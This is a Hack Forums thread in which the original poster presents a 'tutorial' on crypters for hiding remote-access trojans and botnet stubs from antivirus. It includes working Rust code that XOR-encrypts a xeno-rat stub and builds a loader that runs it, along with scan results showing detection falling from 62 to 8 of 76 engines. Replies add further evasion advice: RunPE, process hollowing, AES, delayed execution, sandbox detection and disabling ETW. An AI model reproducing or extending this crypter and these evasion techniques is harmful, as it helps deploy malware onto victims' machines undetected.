

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Understanding Crypters: How They Work to Hide Malware](#)

DarkxStormZz - July 22, 2025, 12:32 am

Hey HackForums community! I've been diving into the world of crypters, specifically how they're used to make malware like RAT/Botnet stubs undetectable by antivirus (AV) software. This thread is an educational deep-dive into crypter mechanics, with a focus on how they obfuscate RATs/Botnets. I'll also share a simple Rust-based crypter example to illustrate the concept. Note: This is for learning purposes only using crypters for malicious activities is illegal and unethical. Let's use this knowledge to better understand malware and improve cybersecurity!

Whats are Crypters

Crypters are tools designed to encrypt or obfuscate malware executables (like RAT stubs) to bypass AV detection. They make the malware appear benign while preserving its functionality, allowing it to run on a victim's system without being flagged.

Key Components
Builder: The part that encrypts the malware (e.g., a RAT stub) and generates a new executable (the encrypted stub).

Encrypted stub: A small program that decrypts and runs the encrypted payload at runtime, often in memory to avoid detection.

How Crypters Work

Crypters use encryption, obfuscation, and runtime techniques to hide malware. Here's a step-by-step breakdown:

Encrypting the Payload
The crypter's builder takes the unencrypted stub and encrypts it using algorithms like XOR, AES, or RC4.

XOR is simple: it scrambles each byte of the stub with a key (e.g., Sup3rS3cr3tK3y). The same key is used to decrypt later.

Example: A stub's byte 0x41 XORed with key byte 0x6D becomes 0x2C, making it unrecognizable to AVs.

Creating the Stub
The crypter generates a new executable (stub) that contains: The encrypted RAT payload.

Code to decrypt and run the payload at runtime.

The stub is designed to look legit, often mimicking trusted software (e.g., with a fake PDF icon).

Runtime Execution
When the stub runs, it decrypts the payload in memory (not on disk) to avoid detection.

Techniques like RunPE or process hollowing are used: Start a legit process (e.g., explorer.exe) in a suspended state.

Replace its memory with the decrypted RATs stub.

Resume the process to execute the malware.

This keeps the payload off disk, dodging file-based AV scans.

Evasion Techniques
Scantime Evasion: Alters the stub's signature to pass disk-based scans.

Runtime Evasion: Decrypts in memory and uses direct system calls to bypass AV hooks.

Polymorphism: Generates unique stubs each time (e.g., random keys or code structure) to avoid signature detection.

Anti-Analysis: Checks for debuggers, sandboxes, or VMs to avoid detection in testing environments.

Why It Works AVs rely on signatures (patterns of known malware). Encryption changes the stub's signature, making it "FUD" (Fully Undetectable).

Memory execution avoids disk writes, bypassing traditional AV scans.

Frequent stub updates (daily in some crypter services) keep them ahead of AV databases.

Challenges of Crypters Detection Over Time: AVs eventually update signatures, so crypters need constant updates to stay FUD.

File Size: Encryption or added stub code can bloat the executable, raising suspicion.

Advanced AVs: Machine learning or behavioral analysis can detect runtime behavior, though this is harder for crypters to bypass.

Writing a Crypter in Rust

why Rust? rust is a great language for crypters due to its speed, memory safety, and compact binaries and is the one i am most comfortable with. Below is a simple Rust crypter that XOR-encrypts a stub and generates a encrypted stub to decrypt and run it.

Disclaimer: This is a basic example for education. Real crypters use memory execution (e.g., process hollowing) and stronger encryption (e.g., AES).

Results of an unencrypted stub (xeno-rat)

To have a base line from where we start i put a fresh xeno-rat stub into the HF virus scanner and got the following results.

Code Undetected / Harmless: 10 / 76

Suspicious / Malicious: 62 / 76

Failed / Timeout / Unsupported: 4 / 76 Spoiler [\(Click to View\)](#)

Rust Crypter Code

This code encrypts a Xeno-rat stub (fresh.exe) with XOR and creates a stub (encrypted.exe) to decrypt and execute it. For simplicity, it writes the decrypted payload to disk, but production crypters would use memory execution.

```
Code use std::fs::{read, write};
use std::process::Command;
```

```
// XOR encryption/decryption
```

```
fn xor_crypt(data: &[u8], key: &[u8]) -> Vec<u8> {
    data.iter()
        .zip(key.iter().cycle())
        .map(|(&d, &k)| d ^ k)
        .collect()
}
```

```
fn main() -> std::io::Result<()> {
```

```
    // Builder: Encrypt the xeno-rat stub
```

```
    let input_file = "fresh.exe"; // Your xeno-rat stub
```

```
    let key = b"mykey123"; // XOR key (change this to anything, e.g., b"hackforums2025")
```

```
    let payload = read(input_file)?; // Read the stub
```

```
    let encrypted = xor_crypt(&payload, key);
```

```
    // Save encrypted payload
```

```
    write("encrypted.bin", &encrypted)?;
```

```
    // Generate stub code
```

```

let stub_code = format!(
    r#"
use std::fs::read;
use std::process::Command;

fn xor_crypt(data: &[u8], key: &[u8]) -> Vec<u8> {{
    data.iter().zip(key.iter().cycle()).map(|(&d, &k)| d ^ k).collect()
}}

fn main() -> std::io::Result<()> {{
    let key = b"{}";
    let encrypted = include_bytes!("encrypted.bin");
    let decrypted = xor_crypt(encrypted, key);
    std::fs::write("temp.exe", decrypted)?;
    Command::new("temp.exe").spawn()?.wait()?;
    Ok(())
}}
"#,
    String::from_utf8_lossy(key)
);

// Save and compile stub
write("stub.rs", stub_code)?;
Command::new("rustc")
    .args(&["stub.rs", "-o", "encrypted.exe"])
    .status()?;

Ok(())
}
Results of the encrypted stub (xeno-rat)
Code Undetected / Harmless: 64 / 76
Suspicious / Malicious: 8 / 76
Failed / Timeout / Unsupported: 4 / 76 Spoiler \(Click to View\)

```

as you can see the dection rate is way lower than before giving us a good starting point to build upon.

Thanks for reading! Drop your questions below, Let's keep the convo going. ?

7 - July 22, 2025, 1:06 am

Great tutorial.

The link to results doesn't work. But great thread all the same.

DarkxStormZz - July 22, 2025, 1:12 am

(Jul 22, 2025 01:06 AM)7 Wrote: [\[CITE\]](#) Great tutorial.

The link to results doesn't work. But great thread all the same.

Thanks, i have changed the links to screenshots

XDDDev - July 22, 2025, 6:09 am

Coincidentally i was working on my for personal use crypter also made in rust and took some additional techniques from the thread.

i'm satisfied with the results :P

https://kleenscan.com/scan_result/a866ef8999e24f9f0d1316fcfcfc6edb549fe9d190841c0faa2d66b3b06646bd

https://kleenscan.com/runtime/scan_result/6e1e9defccd200bd99fbfdc77012917caf106493bc2f13c1a7e2e38692b4e646

DarkxStormZz - July 22, 2025, 6:20 am

(Jul 22, 2025 06:09 AM)Sengoku Jidai Wrote: [\[CITE\]](#) Coincidentally i was working on my for personal use crypter also made in rust and took some additional techniques from the thread.

i'm satisfied with the results :P

https://kleenscan.com/scan_result/a866ef8999e24f9f0d1316fcfcfc6edb549fe9d190841c0faa2d66b3b06646bd

https://kleenscan.com/runtime/scan_result/6e1e9defccd200bd99fbfdc77012917caf106493bc2f13c1a7e2e38692b4e646

Good to hear, can you elaborate on which parts you have used so others can learn from this

XDDDev - July 22, 2025, 6:23 am

(Jul 22, 2025 06:20 AM)DarkxStormZz Wrote: [\[CITE\]](#) Good to hear, can you elaborate on which parts you have used so others can learn from this

I had it file based first instead of runpe which caused a lot of runtime detections

payload went from just XOR to AES and XOR,
added delayed execution and memory cleanup after decryption

DramaKing - July 22, 2025, 6:58 am

Can confirm that direct syscalls don't bypass runtime anymore.

(Jul 22, 2025 06:23 AM)Sengoku Jidai Wrote: [\[CITE\]](#) I had it file based first instead of runpe which caused a lot of runtime detections

payload went from just XOR to AES and XOR,
added delayed execution and memory cleanup after decryption
RunPE and delayed execution (which sandboxes are known to skip) are enough to avoid runtime detection (even in rust)?

XDDDev - July 22, 2025, 7:07 am

(Jul 22, 2025 06:58 AM)DramaKing Wrote: [\[CITE\]](#) Can confirm that direct syscalls don't bypass runtime anymore.

RunPE and delayed execution (which sandboxes are known to skip) are enough to avoid runtime detection?

It depends i think, i also only encrypted a simple loader that already has low detection on its own.

7 - July 22, 2025, 8:37 am

(Jul 22, 2025 06:58 AM)DramaKing Wrote: [\[CITE\]](#) Can confirm that direct syscalls don't bypass runtime anymore.

RunPE and delayed execution (which sandboxes are known to skip) are enough to avoid runtime detection?

Avoiding runtime detection today is a very complicated process. If RunPE and delayed execution was solely the answer to runtime detection, wouldn't life be alot easier and cheaper? lol

I am just please to see new members making useful beginner guides for future users.

(Jul 22, 2025 07:07 AM)Sengoku Jidai Wrote: [\[CITE\]](#) It depends i think, i also only encrypted a simple loader that already has low detection on its own.

It also depends on the AV also... many factors. But keep up the good work.

(Jul 22, 2025 06:09 AM)Sengoku Jidai Wrote: [\[CITE\]](#) Coincidentally i was working on my for personal use crypter also made in rust and took some additional techniques from the thread.

i'm satisfied with the results :P

https://kleenscan.com/scan_result/a866ef8999e24f9f0d1316fcfcfc6edb549fe9d190841c0faa2d66b3b06646bd

https://kleenscan.com/runtime/scan_result/6e1e9defccd200bd99fbfdc77012917caf106493bc2f13c1a7e2e38692b4e646

Glad you found it useful. Well done @OP@

DeathPenalty666 - July 22, 2025, 8:54 am

Great quality post. It make things clear. im curious to know how/what part should be edited to generate unique crypting for every build.

Noob question i never did any research or anything about crypting

DarkxStormZz - July 22, 2025, 9:16 am

(Jul 22, 2025 08:54 AM)arlalala01 Wrote: [\[CITE\]](#) Great quality post. It make things clear. im curious to know how/what part should be edited to generate unique crypting for every build.

Noob question i never did any research or anything about crypting

not that difficult tbh, you can either the key for the XOR to be random or (wich would be better) is to change the XOR to EAS and have it generate a random key each crypt

(Jul 22, 2025 06:58 AM)DramaKing Wrote: [\[CITE\]](#) Can confirm that direct syscalls don't bypass runtime anymore.

RunPE and delayed execution (which sandboxes are known to skip) are enough to avoid runtime detection (even in rust)?

RunPE and delayed execution are powerful techniques for evading runtime detection, but their effectiveness depends on the sophistication of the AV/EDR and sandbox environments.

RunPE:Strengths: RunPE avoids disk writes, bypassing AVs that rely on file-based signature scanning (e.g., scanning temp.exe in the original Rust crypter). By running within a legitimate process (e.g., explorer.exe), it mimics trusted behavior, reducing heuristic detection.

Limitations: Advanced AVs with behavioral analysis (e.g., ESET, Kaspersky) may detect RunPE through:Suspicious API calls (e.g., VirtualAllocEx, WriteProcessMemory).

Memory pattern analysis, identifying the injected DarkComet stub's code.

Anomalous process behavior (e.g., notepad.exe making network connections, as DarkComet does to its C&C server).

Mitigation: Obfuscate API calls using obfstr or direct system calls (via syscall crates) to bypass

API hooking. Randomize the target process (e.g., svchost.exe, chrome.exe) to blend in.

Delayed Execution: Strengths: Delays can bypass AVs that perform quick runtime scans (e.g., during file execution). Some AVs terminate analysis after a short period, missing delayed malicious actions.

Limitations: Modern AVs with real-time protection (e.g., Windows Defender, Sophos) monitor processes continuously, so delays may not evade them. Heuristic engines may flag the delay itself as suspicious (e.g., Sleep calls with long durations).

Mitigation: Use non-standard delay methods (e.g., busy loops or event-driven triggers) to avoid Sleep signatures

Verdict: RunPE is highly effective against traditional AVs, as it avoids disk-based detection. Delayed execution adds some protection but is less effective against real-time AVs. Combining both with a crypted stub (e.g., AES encryption) significantly reduces AV detection, especially if the stub remains small (~40–60 KB).

to give you idea you can introduce Sandbox Detection, Disable ETW/WMI, Polymorphic to harden the encryption.

you can even do payload injection, but thats a whole other can of worms to deal with.

ttbr0 - July 24, 2025, 10:28 pm

(Jul 22, 2025 12:32 AM)DarkxStormZz Wrote: [\[CITE\]](#) Challenges of Crypters File Size: Encryption or added stub code can bloat the executable, raising suspicion.

curious to know why you think file sizes would be suspicious.

Data_Breach - July 25, 2025, 3:22 am

This is probably one of the clearest walkthroughs I've seen on how crypters actually operate under the hood.

The XOR-based Rust example is clean for educational purposes.

Have you tried adapting this for in-memory execution using Rust's mmap or direct WinAPI calls (like VirtualAlloc + CreateThread)? That would be next-level.

Hopsin - July 29, 2025, 3:52 am

Excellent thread, should be introduced to all people who want to develop their own!

Eager - September 1, 2025, 1:42 pm

Thank you for a high quality post! I've learned a lot from reading this.

EliteCipher21 - November 13, 2025, 3:15 pm

Yes this is real good content, thanks for posting it, I encourage more tutorials =)

SmartCrystal - November 18, 2025, 12:37 am

I am hoping you make more Rust based tutorials, really good job here :)

AlternativeTalent - November 18, 2025, 3:09 am

As a Crypter developer, all i can say is, that post doesnt make any SENSE or serve to any POINT.

Reasons:

First of all, i dont think any good crypter would just use simple xor. Besides encrypting the payload, you have to think about the Entropy too. Another fun fact, if you are using resources, congratulations, The entropy of the ``.rsrc`` section just increased to >7.

Another Reason:

If Crypting was about from Encrypting the PE and decrypting in runtime, everybody could have done it with writing a 10 line assembly code and small C++ program to encrypt & embed the assembly and re-set the entry point (RVA), which will [decrypt] <loop> -> [jmp] -> [,,,]

Bonus Reason:

Changing the encryption keys doesnt do anything in fixing detections.

Bonus Bonus Reason:

Dropping the detected payload to disk will most likely get your executable vaporized by the AV, even before you attempt to write it.

My Regards, AlternativeTalent.